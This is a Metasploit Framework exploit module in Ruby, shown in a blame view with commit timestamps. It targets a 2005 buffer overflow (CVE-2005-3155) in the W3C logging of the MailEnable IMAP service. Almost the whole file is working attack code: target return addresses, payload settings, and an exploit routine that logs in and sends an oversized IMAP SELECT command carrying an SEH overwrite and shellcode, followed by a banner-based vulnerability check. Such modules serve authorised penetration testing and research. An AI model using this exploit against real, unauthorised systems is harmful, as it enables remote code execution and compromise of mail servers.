metasploit-framework/modules/exploits/windows/imap/mailenable_w3c_select.rb

73 lines
1.9 KiB
Ruby
Raw Normal View History

##
2017-07-24 13:26:21 +00:00
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = GreatRanking
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::Imap
include Msf::Exploit::Remote::Seh
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'MailEnable IMAPD W3C Logging Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the W3C logging
functionality of the MailEnable IMAPD service. Logging is
not enabled by default and this exploit requires a valid
username and password to exploit the flaw. MailEnable
Professional version 1.6 and prior and MailEnable Enterprise
version 1.1 and prior are affected.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2005-3155'],
[ 'OSVDB', '19842'],
2013-08-30 21:28:54 +00:00
[ 'BID', '15006'],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 600,
'BadChars' => "\x00\x0a\x0d\x20",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
['MailEnable 1.54 Pro Universal', { 'Ret' => 0x1001c019 } ] #MEAISP.DLL
],
'DisclosureDate' => 'Oct 03 2005',
'DefaultTarget' => 0))
end
2013-08-30 21:28:54 +00:00
def check
connect
disconnect
2013-08-30 21:28:54 +00:00
if (banner and banner =~ /MailEnable Service, Version: 0-1\.54/)
return Exploit::CheckCode::Appears
2013-08-30 21:28:54 +00:00
end
return Exploit::CheckCode::Safe
end
2013-08-30 21:28:54 +00:00
def exploit
connect_login
2013-08-30 21:28:54 +00:00
buf = rand_text_alphanumeric(6196, payload_badchars)
seh = generate_seh_payload(target.ret)
req = 'a01 SELECT ' + buf + seh + "\r\n"
sock.put(req)
2013-08-30 21:28:54 +00:00
handler
disconnect
end
end